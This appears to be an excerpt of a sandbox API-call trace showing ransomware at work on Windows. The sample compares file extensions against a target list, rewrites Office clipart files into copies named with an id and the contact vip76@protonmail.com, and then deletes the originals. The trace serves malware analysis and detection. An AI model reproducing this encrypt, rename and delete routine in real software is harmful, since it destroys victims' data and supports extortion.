	[0173.301] ReadFile (in: hFile=0x588, lpBuffer=0x42ec020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesRead=0x38cfecc*=0xe70, lpOverlapped=0x0) returned 1
	[0173.302] WriteFile (in: hFile=0x580, lpBuffer=0x42ec020*, nNumberOfBytesToWrite=0xe80, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesWritten=0x38cfc94*=0xe80, lpOverlapped=0x0) returned 1
	[0173.304] ReadFile (in: hFile=0x588, lpBuffer=0x42ec020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0173.304] WriteFile (in: hFile=0x580, lpBuffer=0x42ec020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesWritten=0x38cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0173.304] SetEndOfFile (hFile=0x580) returned 1
	[0173.304] CloseHandle (hObject=0x580) returned 1
	[0173.304] SetFilePointerEx (in: hFile=0x588, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.304] SetEndOfFile (hFile=0x588) returned 1
	[0173.307] CloseHandle (hObject=0x588) returned 1
	[0173.307] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0173.307] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02088_.wmf")) returned 1
	[0173.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 68
	[0173.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 68
	[0173.308] lstrlenW (lpString=".doc") returned 4
	[0173.308] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0173.308] lstrlenW (lpString=".docx") returned 5
	[0173.308] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0173.308] lstrlenW (lpString=".pdf") returned 4
	[0173.308] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0173.308] lstrlenW (lpString=".xls") returned 4
	[0173.308] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0173.308] lstrlenW (lpString=".xlsx") returned 5
	[0173.308] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0173.308] lstrlenW (lpString=".ppt") returned 4
	[0173.308] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0173.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 68
	[0173.308] lstrlenW (lpString=".zip") returned 4
	[0173.308] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0173.308] lstrlenW (lpString=".rar") returned 4
	[0173.308] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0173.308] lstrlenW (lpString=".bz2") returned 4
	[0173.308] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0173.308] lstrlenW (lpString=".7z") returned 3
	[0173.308] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0173.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 68
	[0173.309] lstrlenW (lpString=".dbf") returned 4
	[0173.309] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0173.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 68
	[0173.309] lstrlenW (lpString=".1cd") returned 4
	[0173.309] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0173.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 68
	[0173.309] lstrlenW (lpString=".jpg") returned 4
	[0173.309] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0173.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 68
	[0173.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 68
	[0173.309] lstrlenW (lpString=".doc") returned 4
	[0173.309] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0173.309] lstrlenW (lpString=".docx") returned 5
	[0173.309] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0173.309] lstrlenW (lpString=".pdf") returned 4
	[0173.309] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0173.309] lstrlenW (lpString=".xls") returned 4
	[0173.309] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0173.309] lstrlenW (lpString=".xlsx") returned 5
	[0173.309] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0173.309] lstrlenW (lpString=".ppt") returned 4
	[0173.309] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0173.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 68
	[0173.309] lstrlenW (lpString=".zip") returned 4
	[0173.309] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0173.309] lstrlenW (lpString=".rar") returned 4
	[0173.309] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0173.310] lstrlenW (lpString=".bz2") returned 4
	[0173.310] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0173.310] lstrlenW (lpString=".7z") returned 3
	[0173.310] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0173.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 68
	[0173.310] lstrlenW (lpString=".dbf") returned 4
	[0173.310] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0173.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 68
	[0173.310] lstrlenW (lpString=".1cd") returned 4
	[0173.310] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0173.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02088_.WMF") returned 68
	[0173.310] lstrlenW (lpString=".jpg") returned 4
	[0173.310] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0173.310] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0173.310] lstrlenW (lpString="FD02097_.WMF") returned 12
	[0173.310] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02097_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588
	[0173.311] GetFileSizeEx (in: hFile=0x588, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=1564) returned 1
	[0173.311] CloseHandle (hObject=0x588) returned 1
	[0173.311] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02097_.wmf")) returned 0x220
	[0173.311] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02097_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0173.312] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02097_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588
	[0173.312] SetFilePointerEx (in: hFile=0x588, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.312] SetFilePointerEx (in: hFile=0x588, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.312] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02097_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580
	[0173.313] GetLastError () returned 0x0
	[0173.313] ReadFile (in: hFile=0x588, lpBuffer=0x42ec020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesRead=0x38cfecc*=0x61c, lpOverlapped=0x0) returned 1
	[0173.314] WriteFile (in: hFile=0x580, lpBuffer=0x42ec020*, nNumberOfBytesToWrite=0x620, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesWritten=0x38cfc94*=0x620, lpOverlapped=0x0) returned 1
	[0173.315] ReadFile (in: hFile=0x588, lpBuffer=0x42ec020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0173.315] WriteFile (in: hFile=0x580, lpBuffer=0x42ec020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesWritten=0x38cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0173.315] SetEndOfFile (hFile=0x580) returned 1
	[0173.316] CloseHandle (hObject=0x580) returned 1
	[0173.316] SetFilePointerEx (in: hFile=0x588, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.316] SetEndOfFile (hFile=0x588) returned 1
	[0173.319] CloseHandle (hObject=0x588) returned 1
	[0173.319] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0173.320] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02097_.wmf")) returned 1
	[0173.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 68
	[0173.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 68
	[0173.320] lstrlenW (lpString=".doc") returned 4
	[0173.320] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0173.320] lstrlenW (lpString=".docx") returned 5
	[0173.320] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0173.320] lstrlenW (lpString=".pdf") returned 4
	[0173.320] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0173.321] lstrlenW (lpString=".xls") returned 4
	[0173.321] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0173.321] lstrlenW (lpString=".xlsx") returned 5
	[0173.321] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0173.321] lstrlenW (lpString=".ppt") returned 4
	[0173.321] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0173.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 68
	[0173.321] lstrlenW (lpString=".zip") returned 4
	[0173.321] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0173.321] lstrlenW (lpString=".rar") returned 4
	[0173.321] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0173.321] lstrlenW (lpString=".bz2") returned 4
	[0173.321] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0173.321] lstrlenW (lpString=".7z") returned 3
	[0173.321] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0173.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 68
	[0173.321] lstrlenW (lpString=".dbf") returned 4
	[0173.321] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0173.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 68
	[0173.321] lstrlenW (lpString=".1cd") returned 4
	[0173.321] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0173.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 68
	[0173.321] lstrlenW (lpString=".jpg") returned 4
	[0173.321] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0173.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 68
	[0173.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 68
	[0173.321] lstrlenW (lpString=".doc") returned 4
	[0173.321] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0173.321] lstrlenW (lpString=".docx") returned 5
	[0173.322] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0173.322] lstrlenW (lpString=".pdf") returned 4
	[0173.322] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0173.322] lstrlenW (lpString=".xls") returned 4
	[0173.322] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0173.322] lstrlenW (lpString=".xlsx") returned 5
	[0173.322] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0173.322] lstrlenW (lpString=".ppt") returned 4
	[0173.322] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0173.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 68
	[0173.322] lstrlenW (lpString=".zip") returned 4
	[0173.322] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0173.322] lstrlenW (lpString=".rar") returned 4
	[0173.322] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0173.322] lstrlenW (lpString=".bz2") returned 4
	[0173.322] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0173.322] lstrlenW (lpString=".7z") returned 3
	[0173.322] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0173.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 68
	[0173.322] lstrlenW (lpString=".dbf") returned 4
	[0173.322] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0173.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 68
	[0173.322] lstrlenW (lpString=".1cd") returned 4
	[0173.322] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0173.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF") returned 68
	[0173.322] lstrlenW (lpString=".jpg") returned 4
	[0173.322] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0173.323] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0173.323] lstrlenW (lpString="FD02115_.WMF") returned 12
	[0173.323] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02115_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588
	[0173.323] GetFileSizeEx (in: hFile=0x588, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=4660) returned 1
	[0173.323] CloseHandle (hObject=0x588) returned 1
	[0173.323] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02115_.wmf")) returned 0x220
	[0173.323] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02115_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0173.324] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02115_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588
	[0173.324] SetFilePointerEx (in: hFile=0x588, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.324] SetFilePointerEx (in: hFile=0x588, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.324] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02115_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580
	[0173.325] GetLastError () returned 0x0
	[0173.325] ReadFile (in: hFile=0x588, lpBuffer=0x42ec020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesRead=0x38cfecc*=0x1234, lpOverlapped=0x0) returned 1
	[0173.326] WriteFile (in: hFile=0x580, lpBuffer=0x42ec020*, nNumberOfBytesToWrite=0x1240, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesWritten=0x38cfc94*=0x1240, lpOverlapped=0x0) returned 1
	[0173.328] ReadFile (in: hFile=0x588, lpBuffer=0x42ec020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0173.328] WriteFile (in: hFile=0x580, lpBuffer=0x42ec020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x42ec020*, lpNumberOfBytesWritten=0x38cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0173.328] SetEndOfFile (hFile=0x580) returned 1
	[0173.328] CloseHandle (hObject=0x580) returned 1
	[0173.328] SetFilePointerEx (in: hFile=0x588, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0173.328] SetEndOfFile (hFile=0x588) returned 1
	[0173.341] CloseHandle (hObject=0x588) returned 1
	[0173.341] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0173.342] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02115_.wmf")) returned 1
	[0174.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 68
	[0174.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 68
	[0174.004] lstrlenW (lpString=".doc") returned 4
	[0174.004] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0174.004] lstrlenW (lpString=".docx") returned 5
	[0174.004] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0174.004] lstrlenW (lpString=".pdf") returned 4
	[0174.004] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0174.004] lstrlenW (lpString=".xls") returned 4
	[0174.004] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0174.004] lstrlenW (lpString=".xlsx") returned 5
	[0174.004] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0174.004] lstrlenW (lpString=".ppt") returned 4
	[0174.004] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0174.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 68
	[0174.005] lstrlenW (lpString=".zip") returned 4
	[0174.005] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0174.005] lstrlenW (lpString=".rar") returned 4
	[0174.005] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0174.005] lstrlenW (lpString=".bz2") returned 4
	[0174.005] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0174.005] lstrlenW (lpString=".7z") returned 3
	[0174.005] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0174.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 68
	[0174.005] lstrlenW (lpString=".dbf") returned 4
	[0174.005] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0174.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 68
	[0174.005] lstrlenW (lpString=".1cd") returned 4
	[0174.005] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0174.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 68
	[0174.005] lstrlenW (lpString=".jpg") returned 4
	[0174.005] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0174.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 68
	[0174.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 68
	[0174.005] lstrlenW (lpString=".doc") returned 4
	[0174.005] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0174.005] lstrlenW (lpString=".docx") returned 5
	[0174.005] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0174.005] lstrlenW (lpString=".pdf") returned 4
	[0174.005] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0174.005] lstrlenW (lpString=".xls") returned 4
	[0174.005] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0174.005] lstrlenW (lpString=".xlsx") returned 5
	[0174.005] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0174.005] lstrlenW (lpString=".ppt") returned 4
	[0174.005] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0174.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 68
	[0174.006] lstrlenW (lpString=".zip") returned 4
	[0174.006] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0174.006] lstrlenW (lpString=".rar") returned 4
	[0174.006] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0174.006] lstrlenW (lpString=".bz2") returned 4
	[0174.006] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0174.006] lstrlenW (lpString=".7z") returned 3
	[0174.006] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0174.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 68
	[0174.006] lstrlenW (lpString=".dbf") returned 4
	[0174.006] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0174.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 68
	[0174.006] lstrlenW (lpString=".1cd") returned 4
	[0174.006] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0174.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 68
	[0174.006] lstrlenW (lpString=".jpg") returned 4
	[0174.006] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0174.006] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0174.006] lstrlenW (lpString="FD02158_.WMF") returned 12
	[0174.006] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02158_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4
	[0174.221] GetFileSizeEx (in: hFile=0x4b4, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=1648) returned 1
	[0174.221] CloseHandle (hObject=0x4b4) returned 1
	[0174.222] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02158_.wmf")) returned 0x220
	[0174.736] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02158_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0175.245] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02158_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580
	[0175.413] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.413] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0175.413] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02158_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594
	[0176.609] GetLastError () returned 0x0
